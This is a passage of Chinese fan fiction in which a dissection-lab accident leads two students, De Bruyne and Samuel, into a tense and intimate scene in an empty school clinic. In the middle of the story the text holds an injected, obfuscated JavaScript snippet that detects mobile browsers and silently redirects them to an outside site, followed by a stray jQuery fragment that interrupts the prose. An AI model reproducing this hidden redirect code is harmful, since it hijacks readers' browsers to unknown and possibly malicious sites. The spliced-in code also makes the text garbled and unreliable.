紧接着视线上移,德布劳内看到了塞缪尔的手。 那是一双很好看的手,手指又长又直,指节分明,在乳胶手套的边缘还能看到秀气的腕骨。 昨天塞缪尔就是用这双手在纸条上写写画画。德布劳内走神了。而也就是这几秒的时间,塞缪尔刀下的小鼠惨烈地尖叫起来。 “什么,怎么回事?” 瑞德教授迅速赶来。 德布劳内站在那里又好像没站在那里,他的人还在,灵魂已经飞走了。 “我、我不知道。”塞缪尔惊恐地看向瑞德教授,磕磕巴巴说。 “好了好了,没事了。”瑞德教授立刻处理了事故现场,然后安慰了塞缪尔,还向他道了歉,表示没想到还有一只小鼠幸存了下来。 “还好你下刀并不重,否则这就是一起教学事故了。”他开玩笑说。但遗憾的是,整间屋子没人觉得这很有趣。 瑞德教授撇撇嘴,又对塞缪尔问道:“需要什么吗?” “我想我得去校医院一趟。”塞缪尔说。 刚才小鼠挣扎的时候他的手被刀子划伤了。 瑞德教授没理由拒绝。他给了塞缪尔一块巧克力,还让德布劳内也陪他一起去。 走廊里静悄悄的。德布劳内低头跟着塞缪尔一起走。 “凯文?” 德布劳内没说话,他耳朵里都是心跳声,脑子里正在不断闪回刚刚的画面——飞溅的血液落在塞缪尔脸颊,还有侧面的颌骨上。 那一瞬间,他仿佛看到那旁边的嘴角正在上扬。 他在笑。 是,错觉吗? * 校医院里和走廊一样静悄悄的,医生不在,也不知道去了哪里。塞缪尔坐到床上,他快要按不住伤口了,血顺着流到手背。 “需要我做点什么?”德布劳内问。 塞缪尔想了想。 “酒精,碘伏,纱布,还有绷带。”他说,“差不多就这些。” “创口贴不行吗。”德布劳内又问。 他在校医的办公桌上看到了一整盒的创可贴,如果可以他不想去翻柜子。谁知道会翻出什么来。 “恐怕不行。”塞缪尔说,“解剖刀造成的伤口和平常的伤口不一样,更深,更长,我需要压住它来止血。” 德布劳内只好去按照塞缪尔说的找。 突然,他问道:“你为什么这么熟练?” 从玻璃柜的反光上,德布劳内看到塞缪尔怔了一下,然后笑起来。 “我父亲生前是一名外科医生。”他说,“如果他还在世,知道这件事后一定会要我缝针。” “……” 德布劳内找到了塞缪尔要的东西,沉默着给他带去,然后看着塞缪尔一步步处理伤口。 “抱歉。”他突然说。 塞缪尔缠绷带的手突然停了。 他抬头去看德布劳内,然后微笑说:“没关系。” 有点奇怪。 德布劳内萌生了想走的念头。 但在他开口前,塞缪尔突然叫住了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818184|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “凯文?” “嗯。” “可以请你帮个忙吗。” “说。” “帮我拿点纸巾来。”塞缪尔偏了下头示意,“我想把脸上的血擦掉,如果我带着它们走出学校,我的管家会被吓死。” 不只是你的管家,我们都要被吓死了。 德布劳内拿了纸巾给塞缪尔,但塞缪尔还在缠绷带,空不出手来拿。 “你帮我擦吧。”塞缪尔说。 老天,你怎么不让我也帮你吃饭。 德布劳内心里想着,伸手去给塞缪尔擦脸。 然而因为时间问题,那些血有点干了。塞缪尔的皮肤被擦得发红,仍然有些暗红色粘在上面。 “你在这里坐好,我去沾点水。”德布劳内把纸巾折了折,转身去找洗手池。 抬起水龙头,水流哗啦啦地流出来,掩盖了杂乱的心跳声。 很奇怪。 德布劳内心想,塞缪尔的视线那么火热,皮肤却比正常温度要低。 他花了一些时间做完这简单的工作。 结果刚转过身,德布劳内发现塞缪尔不知道什么时候来到了他身后,静悄悄地站着。 “对不起,吓着你了?”塞缪尔问。 德布劳内抬头和他对视。 那一蓝一红两只眼睛闪烁着,德布劳内又想起了姨妈家的狗。 “我不是说过让你坐好。”德布劳内说。 “你走了好久,我一个人坐着难受。”塞缪尔说得有点委屈,“就在这里吧,你帮我擦。” 塞缪尔向前一步。 德布劳内手掌向后撑在洗手池上,他仍然很排斥外人距离他太近。 “我说,回去坐好。” 塞缪尔看了他一会儿,竟然真的乖乖回去在床边坐好。 德布劳内攥了攥沾水的纸巾,弯腰给塞缪尔擦脸。遇到不好擦的地方塞缪尔还会偏头,让德布劳内能更方便一点。 为什么我会在这里,做这种事? 德布劳内心里抱怨着,突然产生了种奇妙的幻想,他感觉他和塞缪尔现在就像一对儿默契的屠夫。 ……或许屠夫和他的狗更贴切一点。 指节碰到耳朵,德布劳内看到塞缪尔头顶的碎发抖了抖。他看着塞缪尔嘴唇,鼻尖,睫毛,眉骨,最后又回到头顶。 某种冲动让他把手掌放上去。 揉了揉。 “好狗。”他说。 话音落下,两个人都愣住了。 德布劳内后退一步,手上湿.哒哒的纸巾掉在了地上。紧接着塞缪尔抓住了他的手,用那只缠好了绷带的伤手。 绷带结刚好卡在德布劳内两根指骨之间。 “松手。”德布劳内说。 “我没想伤害你,凯文。”塞缪尔说着,将德布劳内的手拉回自己头上,轻轻拍了两下,“从来没有人这么对过我,甚至我的父母也没有。” 德布劳内不动了。 塞缪尔也不动。 突然,德布劳内看到塞缪尔脸颊上残留了一小块纸屑。他抽回手,用拇指捻掉了那块纸屑。 然后转身逃离了校医院。 门缓缓关上,塞缪尔还坐在那里,低着头,时不时笑一下,像是在回味。 过了一会儿他起身,捡起了那团被血和水晕开的纸巾。 冰冰凉凉的。 没有温度留下。 塞缪尔嗅了嗅那团东西,最后把它收进口袋。也离开了校医院。